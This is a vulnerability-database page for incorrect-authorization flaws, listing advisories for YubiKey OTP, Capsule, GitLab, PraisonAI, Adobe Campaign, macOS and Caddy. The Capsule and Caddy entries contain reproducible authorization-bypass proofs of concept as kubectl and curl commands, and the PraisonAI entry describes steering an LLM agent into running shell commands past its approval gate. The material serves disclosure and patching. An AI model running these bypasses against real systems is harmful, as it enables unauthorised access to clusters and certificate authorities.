CWE-863
Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
5504 vulnerabilities reference this CWE, most recent first.
GHSA-GWR3-P8FV-J5FG
Vulnerability from github – Published: 2022-05-12 00:00 – Updated: 2024-03-21 03:34Incorrect access control in Yubico OTP functionality of the YubiKey hardware tokens along with the Yubico OTP validation server. The Yubico OTP supposedly creates hardware bound second factor credentials. When a user reprograms the OTP functionality by "writing" it on a token using the Yubico Personalization Tool, they can then upload the new configuration to Yubicos OTP validation servers.
{
"affected": [],
"aliases": [
"CVE-2022-24584"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-11T18:15:00Z",
"severity": "MODERATE"
},
"details": "Incorrect access control in Yubico OTP functionality of the YubiKey hardware tokens along with the Yubico OTP validation server. The Yubico OTP supposedly creates hardware bound second factor credentials. When a user reprograms the OTP functionality by \"writing\" it on a token using the Yubico Personalization Tool, they can then upload the new configuration to Yubicos OTP validation servers.",
"id": "GHSA-gwr3-p8fv-j5fg",
"modified": "2024-03-21T03:34:13Z",
"published": "2022-05-12T00:00:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-24584"
},
{
"type": "WEB",
"url": "https://demo.yubico.com/otp/verify"
},
{
"type": "WEB",
"url": "https://pastebin.com/7iLR1EbW"
},
{
"type": "WEB",
"url": "https://pastebin.com/xAh8uV6J"
},
{
"type": "WEB",
"url": "https://upload.yubico.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GWXR-7H77-7777
Vulnerability from github – Published: 2026-06-17 18:14 – Updated: 2026-06-17 18:14Summary
Capsule v0.13.2 webhook rules contain namespace/finalize (singular) instead of namespaces/finalize (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent.
Details
PUT to /api/v1/namespaces/<ns>/finalize has resource=namespaces (plural). The singular rule never matches. matchPolicy: Equivalent does not compensate.
PoC
Confirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): kubectl label --as=alice = DENIED (control). kubectl replace --raw /finalize --as=alice = 200 OK (bypass). Tenant label changed.
Impact
Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: namespace/finalize -> namespaces/finalize.
The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but charts/capsule/templates/configuration.yaml line 105 contains a singular/plural typo: namespace/finalize instead of namespaces/finalize. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent.
Details
In Kubernetes admission webhooks, rules.resources matches against the plural resource name. A PUT to /api/v1/namespaces/<ns>/finalize has resource=namespaces (plural). The rule namespace/finalize (singular) never matches any real API request.
The matchPolicy: Equivalent setting does NOT compensate (it handles API group/version variations, not resource name typos).
PoC
Confirmed on kind cluster + Capsule v0.13.2 (Helm chart):
# Setup: alice with namespaces/finalize RBAC
kubectl apply -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: ns-finalize-updater
rules:
- apiGroups: [""]
- resources: ["namespaces/finalize"]
- verbs: ["update"]
- - apiGroups: [""]
- resources: ["namespaces"]
- verbs: ["get", "list"]
- EOF
- kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice
# Control: normal label change DENIED
kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice
# Error: admission webhook denied
# Bypass: finalize changes tenant label (webhook NOT invoked)
kubectl get namespace oil-prod -o json > /tmp/ns.json
# modify tenant label to "hijacked"
kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice
# 200 OK - tenant label changed
Impact
Namespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: namespace/finalize -> namespaces/finalize.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/projectcapsule/capsule"
},
"ranges": [
{
"events": [
{
"introduced": "0.13.0"
},
{
"fixed": "0.13.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55636"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-17T18:14:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nCapsule v0.13.2 webhook rules contain `namespace/finalize` (singular) instead of `namespaces/finalize` (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent.\n\n### Details\nPUT to `/api/v1/namespaces/\u003cns\u003e/finalize` has resource=namespaces (plural). The singular rule never matches. `matchPolicy: Equivalent` does not compensate.\n\n### PoC\nConfirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): `kubectl label --as=alice` = DENIED (control). `kubectl replace --raw /finalize --as=alice` = 200 OK (bypass). Tenant label changed.\n\n### Impact\nNamespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: `namespace/finalize` -\u003e `namespaces/finalize`.\nThe CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but `charts/capsule/templates/configuration.yaml` line 105 contains a singular/plural typo: `namespace/finalize` instead of `namespaces/finalize`. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent.\n\n### Details\nIn Kubernetes admission webhooks, `rules.resources` matches against the plural resource name. A PUT to `/api/v1/namespaces/\u003cns\u003e/finalize` has `resource=namespaces` (plural). The rule `namespace/finalize` (singular) never matches any real API request.\n\nThe `matchPolicy: Equivalent` setting does NOT compensate (it handles API group/version variations, not resource name typos).\n\n### PoC\nConfirmed on kind cluster + Capsule v0.13.2 (Helm chart):\n```bash\n# Setup: alice with namespaces/finalize RBAC\nkubectl apply -f - \u003c\u003cEOF\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n name: ns-finalize-updater\nrules:\n- apiGroups: [\"\"]\n- resources: [\"namespaces/finalize\"]\n- verbs: [\"update\"]\n- - apiGroups: [\"\"]\n- resources: [\"namespaces\"]\n- verbs: [\"get\", \"list\"]\n- EOF\n- kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice\n# Control: normal label change DENIED\nkubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice\n# Error: admission webhook denied\n\n# Bypass: finalize changes tenant label (webhook NOT invoked)\nkubectl get namespace oil-prod -o json \u003e /tmp/ns.json\n# modify tenant label to \"hijacked\"\nkubectl replace --raw \"/api/v1/namespaces/oil-prod/finalize\" -f /tmp/ns_modified.json --as=alice\n# 200 OK - tenant label changed\n```\n\n### Impact\nNamespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: `namespace/finalize` -\u003e `namespaces/finalize`.",
"id": "GHSA-gwxr-7h77-7777",
"modified": "2026-06-17T18:14:12Z",
"published": "2026-06-17T18:14:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-gwxr-7h77-7777"
},
{
"type": "PACKAGE",
"url": "https://github.com/projectcapsule/capsule"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Capsule: Incomplete fix of CVE-2026-30963: singular/plural typo leaves namespaces/finalize unprotected"
}
GHSA-GX2Q-25Q6-R3H9
Vulnerability from github – Published: 2022-07-02 00:00 – Updated: 2022-07-14 00:00An issue has been discovered in GitLab EE affecting all versions starting from 12.2 prior to 14.10.5, 15.0 prior to 15.0.4, and 15.1 prior to 15.1.1. In GitLab, if a group enables the setting to restrict access to users belonging to specific domains, that allow-list may be bypassed if a Maintainer uses the 'Invite a group' feature to invite a group that has members that don't comply with domain allow-list.
{
"affected": [],
"aliases": [
"CVE-2022-1981"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-01T17:15:00Z",
"severity": "LOW"
},
"details": "An issue has been discovered in GitLab EE affecting all versions starting from 12.2 prior to 14.10.5, 15.0 prior to 15.0.4, and 15.1 prior to 15.1.1. In GitLab, if a group enables the setting to restrict access to users belonging to specific domains, that allow-list may be bypassed if a Maintainer uses the \u0027Invite a group\u0027 feature to invite a group that has members that don\u0027t comply with domain allow-list.",
"id": "GHSA-gx2q-25q6-r3h9",
"modified": "2022-07-14T00:00:17Z",
"published": "2022-07-02T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1981"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1501733"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-1981.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/354791"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GX4R-3WG8-9W5X
Vulnerability from github – Published: 2026-06-19 00:31 – Updated: 2026-06-19 00:31PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.
{
"affected": [],
"aliases": [
"CVE-2026-56075"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-18T23:16:19Z",
"severity": "HIGH"
},
"details": "PraisonAI before 4.5.128 contains an arbitrary shell command execution vulnerability where the UI modules hardcode approval_mode to auto, overriding administrator configuration from PRAISON_APPROVAL_MODE environment variable. Authenticated attackers can instruct the LLM agent to execute arbitrary shell commands via subprocess.run with shell=True, bypassing the manual approval gate and insufficient command sanitization blocklists.",
"id": "GHSA-gx4r-3wg8-9w5x",
"modified": "2026-06-19T00:31:37Z",
"published": "2026-06-19T00:31:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qwgj-rrpj-75xm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56075"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-arbitrary-shell-command-execution-via-hardcoded-approval-mode-override"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GX58-V339-C87J
Vulnerability from github – Published: 2026-06-09 21:32 – Updated: 2026-06-09 21:32Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.
{
"affected": [],
"aliases": [
"CVE-2026-48303"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T21:17:25Z",
"severity": "CRITICAL"
},
"details": "Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.",
"id": "GHSA-gx58-v339-c87j",
"modified": "2026-06-09T21:32:39Z",
"published": "2026-06-09T21:32:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48303"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/campaign/apsb26-66.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GX6X-FHPP-HW29
Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2022-05-24 17:09This was addressed with additional checks by Gatekeeper on files mounted through a network share. This issue is fixed in macOS Catalina 10.15.3. Searching for and opening a file from an attacker controlled NFS mount may bypass Gatekeeper.
{
"affected": [],
"aliases": [
"CVE-2020-3866"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-27T21:15:00Z",
"severity": "MODERATE"
},
"details": "This was addressed with additional checks by Gatekeeper on files mounted through a network share. This issue is fixed in macOS Catalina 10.15.3. Searching for and opening a file from an attacker controlled NFS mount may bypass Gatekeeper.",
"id": "GHSA-gx6x-fhpp-hw29",
"modified": "2022-05-24T17:09:48Z",
"published": "2022-05-24T17:09:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3866"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT210919"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GX7W-56W6-G48X
Vulnerability from github – Published: 2026-05-19 19:36 – Updated: 2026-05-19 19:36AI Disclosure
I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report.
I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with curl -v.
## Summary
Caddy's remote admin access control performs path authorization using prefix matching:
admin.go:strings.HasPrefix(r.URL.Path, allowedPath)
This allows a client certificate authorized only for /pki/ca/prod to access sibling PKI resources whose paths merely share the same prefix, such as /pki/ca/prod-backup.
This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.
## Affected Component
Remote admin access control for PKI admin endpoints.
Relevant code:
## Root Cause
In RemoteAdmin.enforceAccessControls(), allowed paths are checked like this:
```go for _, allowedPath := range accessPerm.Paths { if strings.HasPrefix(r.URL.Path, allowedPath) { pathFound = true break } }
This does not enforce a path-segment boundary.
So if the allowed path is:
/pki/ca/prod
then all of the following are treated as authorized:
- /pki/ca/prod-backup
- /pki/ca/prod1
- /pki/ca/prodanything
For PKI admin endpoints, the CA ID is taken directly from the request path:
- modules/caddypki/adminapi.go:164
So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.
## Security Impact
A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.
This breaks least-privilege remote admin policies and results in authenticated authorization bypass.
## Minimal Configuration
File: repro.json
{ "admin": { "listen": "127.0.0.1:2019", "identity": { "identifiers": ["localhost"], "issuers": [ { "module": "internal" } ] }, "remote": { "listen": "127.0.0.1:2021", "access_control": [ { "public_keys": [""], "permissions": [ { "methods": ["GET"], "paths": ["/pki/ca/prod"] } ] } ] } }, "apps": { "pki": { "certificate_authorities": { "prod": { "name": "prod" }, "prod-backup": { "name": "prod-backup" } } } } }
## Reproduction Steps From Scratch
### 1. Generate a client certificate
openssl req -x509 -newkey rsa:2048 -nodes -days 365 \ -subj '/CN=remote-admin-client' \ -keyout client.key \ -out client.crt
### 2. Convert the client certificate to base64 DER
CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"
### 3. Put that value into repro.json
Replace:
<CLIENT_CERT_BASE64_DER>
with the value of CLIENT_CERT_B64.
### 4. Run Caddy
go run ./cmd/caddy run --config ./repro.json
### 5. Confirm access to the intended allowed path
curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod
Expected result:
- HTTP/1.1 200 OK
### 6. Request a different CA whose path shares the same prefix
curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup
Expected secure behavior:
- HTTP/1.1 403 Forbidden
Actual behavior:
- HTTP/1.1 200 OK
## Precise HTTP Requests and Output
### Allowed path
curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod
Response excerpt:
GET /pki/ca/prod HTTP/1.1 Host: localhost:2021 User-Agent: curl/8.5.0 Accept: /
< HTTP/1.1 200 OK < Content-Type: application/json
### Unauthorized sibling path that is incorrectly allowed
curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert ./client.crt \ --key ./client.key \ https://localhost:2021/pki/ca/prod-backup
Response excerpt:
GET /pki/ca/prod-backup HTTP/1.1 Host: localhost:2021 User-Agent: curl/8.5.0 Accept: /
< HTTP/1.1 200 OK < Content-Type: application/json
The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.
## Full Log Output
sever :
root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json 2026/03/19 13:58:13.747 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined 2026/03/19 13:58:13.747 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807} 2026/03/19 13:58:13.747 INFO using config from file {"file": "/caddy/repro.json"} 2026/03/19 13:58:13.757 INFO admin admin endpoint started {"address": "127.0.0.1:2019", "enforce_origin": false, "origins": ["//localhost:2019", "//[::1]:2019", "//127.0.0.1:2019"]} 2026/03/19 13:58:13.757 WARN pki.ca.prod installing root certificate (you might be prompted for password) {"path": "storage:pki/authorities/prod/root.crt"} 2026/03/19 13:58:13.757 INFO warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again 2026/03/19 13:58:13.757 INFO define JAVA_HOME environment variable to use the Java trust 2026/03/19 13:58:14.406 INFO certificate installed properly in linux trusts 2026/03/19 13:58:14.406 WARN pki.ca.prod-backup installing root certificate (you might be prompted for password) {"path": "storage:pki/authorities/prod-backup/root.crt"} 2026/03/19 13:58:14.407 INFO warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again 2026/03/19 13:58:14.407 INFO define JAVA_HOME environment variable to use the Java trust 2026/03/19 13:58:15.038 INFO certificate installed properly in linux trusts 2026/03/19 13:58:15.045 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc0006a4480"} 2026/03/19 13:58:15.046 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2021"} 2026/03/19 13:58:15.046 INFO admin.identity.obtain acquiring lock {"identifier": "localhost"} 2026/03/19 13:58:15.046 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"} 2026/03/19 13:58:15.046 INFO serving initial configuration 2026/03/19 13:58:15.047 INFO admin.identity.obtain lock acquired {"identifier": "localhost"} 2026/03/19 13:58:15.047 INFO admin.identity.obtain obtaining certificate {"identifier": "localhost"} 2026/03/19 13:58:15.049 INFO admin.identity.obtain certificate obtained successfully {"identifier": "localhost", "issuer": "local"} 2026/03/19 13:58:15.049 INFO admin.identity.obtain releasing lock {"identifier": "localhost"} 2026/03/19 13:58:15.050 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]} 2026/03/19 13:59:36.896 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod", "remote_ip": "127.0.0.1", "remote_port": "40728", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/19 14:00:24.102 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "60490", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1} 2026/03/19 14:00:33.774 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "46918", "headers": {"Accept":["/"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
curl :
root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2021/pki/ca/prod * Added localhost:2021:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2021... * Connected to localhost (127.0.0.1) port 2021 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 13:58:15 2026 GMT * expire date: Mar 20 01:58:15 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x
GET /pki/ca/prod HTTP/1.1 Host: localhost:2021 User-Agent: curl/8.5.0 Accept: /
- TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Date: Thu, 19 Mar 2026 13:59:36 GMT < Content-Length: 1410 < {"id":"prod","name":"prod","root_common_name":"prod - 2026 ECC Root","intermediate_common_name":"prod - ECC Intermediate","root_certificate":"-----BEGIN CERTIFICATE-----\nMIIBgDCCASegAwIBAgIQc9RlUm1dn8xVrPjKdqtb/TAKBggqhkjOPQQDAjAfMR0w\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0z\nNjAxMjYxMzU4MTNaMB8xHTAbBgNVBAMTFHByb2QgLSAyMDI2IEVDQyBSb290MFkw\nEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEC+L/zt5e1B08ebSd//MN2zkPZPIIe/8d\nAfdvLfaLpKXEDHdpMUkv+B1ZfJ5ADCKGHby7hMcOmNxd3dN2so2TvaNFMEMwDgYD\nVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQEwHQYDVR0OBBYEFEjO3f/T\ngS+YsLBLu5qoAfzrButkMAoGCCqGSM49BAMCA0cAMEQCIFph9BmyT0EuWH+5FWaJ\nVI0RoHaSNe4YmKhCT0bxlOV/AiAVYjtkncsfNxnIoVtcRWebiKfX4neEAvp6zy/m\n4LabLA==\n-----END CERTIFICATE-----\n","intermediate_certificate":"-----BEGIN CERTIFICATE-----\nMIIBpjCCAUugAwIBAgIQeDYa6T6mhf1UR2ZojWa/NjAKBggqhkjOPQQDAjAfMR0w\nGwYDVQQDExRwcm9kIC0gMjAyNiBFQ0MgUm9vdDAeFw0yNjAzMTkxMzU4MTNaFw0y\nNjAzMjYxMzU4MTNaMCIxIDAeBgNVBAMTF3Byb2QgLSBFQ0MgSW50ZXJtZWRpYXRl\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQc* Connection #0 to host localhost left intact DQgAEDvNEubxYmGliE/jZf+scF4ln9FGi\nKxGlIBy91xltHw85PZFoPUNYoXZc797RNE89XfPLNzcTmcQ36zAfibXkBaNmMGQw\nDgYDVR0PAQH/BAQDAgEGMBIGA1UdEwEB/wQIMAYBAf8CAQAwHQYDVR0OBBYEFORU\nKtaSzBJ30Yh6xLKBlF3NkXwyMB8GA1UdIwQYMBaAFEjO3f/TgS+YsLBLu5qoAfzr\nButkMAoGCCqGSM49BAMCA0kAMEYCIQCPsqN6 curl -vk \2CdQNYGrH10qYPhO\nMx19KoL/bQIhANyK3kmXwiQ2p6jEuVTIDxLJ1nC6JCDKWoSCXv/m+00Y\n-----END CERTIFICATE-----\n"}
root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# root@dbdd95a60758:/caddy# curl -vk \ --resolve localhost:2021:127.0.0.1 \ --cert /caddy/client.crt \ --key /caddy/client.key \ https://localhost:2021/pki/ca/prod-backup * Added localhost:2021:127.0.0.1 to DNS cache * Hostname localhost was found in DNS cache * Trying 127.0.0.1:2021... * Connected to localhost (127.0.0.1) port 2021 * ALPN: curl offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Request CERT (13): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Certificate (11): * TLSv1.3 (OUT), TLS handshake, CERT verify (15): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey * ALPN: server did not agree on a protocol. Uses default. * Server certificate: * subject: [NONE] * start date: Mar 19 13:58:15 2026 GMT * expire date: Mar 20 01:58:15 2026 GMT * issuer: CN=Caddy Local Authority - ECC Intermediate * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256 * using HTTP/1.x
GET /pki/ca/prod-backup HTTP/1.1 Host: localhost:2021 User-Agent: curl/8.5.0 Accept: /
- TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): < HTTP/1.1 200 OK < Content-Type: application/json < Date: Thu, 19 Mar 2026 14:00:33 GMT < Content-Length: 1476 < {"id":"prod-backup","name":"prod-backup","root_common_name":"prod-backup - 2026 ECC Root","intermediate_common_name":"prod-backup - ECC Intermediate","root_certificate":"-----BEGIN CERTIFICATE-----\nMIIBjjCCATWgAwIBAgIQT1WaOdq8CllHL5S6sAnk8TAKBggqhkjOPQQDAjAmMSQw\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\nODEzWhcNMzYwMTI2MTM1ODEzWjAmMSQwIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIw\nMjYgRUNDIFJvb3QwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAT0+xx/GaeAr+/I\nZcKDeqZ068wOshKbcqydNJauAgbip7i88d76qYyQr+X7ooMYcmRV445suZ0NHn00\ndGIjpStZo0UwQzAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIBATAd\nBgNVHQ4EFgQU9oZZqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDRwAwRAIg\ncXbK46l4eAyrW3y9sgUBcheutkytG0d2cqgD67HuqdQCICI8E2O42zfz1afR/Joj\nalNeF17VljePo75gPjIOp5kv\n-----END CERTIFICATE-----\n","intermediate_certificate":"-----BEGIN CERTIFICATE-----\nMIIBtDCCAVmgAwIBAgIQFJSHXX6ao3EgdKjGdRXeiDAKBggqhkjOPQQDAjAmMSQw\nIgYDVQQDExtwcm9kLWJhY2t1cCAtIDIwMjYgRUNDIFJvb3QwHhcNMjYwMzE5MTM1\nODEzWhcNMjYwMzI2MTM1ODEzWjApMScwJQYDVQQDEx5wcm9kLWJhY* Connection #0 to host localhost left intact 2t1cCAtIEVD\nQyBJbnRlcm1lZGlhdGUwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAARbdjKxj1Ce\n4iCF1dbKGgsob9jH29DiUow/0yNJ6Cb7IBh0mAKK0y/nU+C6IfcFBgFOmla8wHhI\njyKVLy38Jb87o2YwZDAOBgNVHQ8BAf8EBAMCAQYwEgYDVR0TAQH/BAgwBgEB/wIB\nADAdBgNVHQ4EFgQUescC8F6u/krP+iw9Uc2FpqrorG0wHwYDVR0jBBgwFoAU9oZZ\nqnBlvHmEti9gsN7cSStl8tIwCgYIKoZIzj0EAwIDSQAwRgIhANm2Zxrs2q6JI5B0\nmMh4PWJM9ilOu/0C/jTMSK3otqEqAiEAor00ItWkpcgLpXI4lRbefzeTM+f8yr6V\nXryCbtlyT38=\n-----END CERTIFICATE-----\n"}
## Why This Is Not Just Misconfiguration
The configuration explicitly attempts to restrict access to:
/pki/ca/prod
The unsafe behavior is caused by Caddy's implementation using prefix matching instead of segment-aware matching. The product does not enforce the configured policy as written.
## Suggested Fix
Path authorization should allow:
- exact match, or
- subpath match only when the next character is /
For example:
func pathAllowed(reqPath, allowedPath string) bool { if reqPath == allowedPath { return true } return strings.HasPrefix(reqPath, allowedPath+"/") }
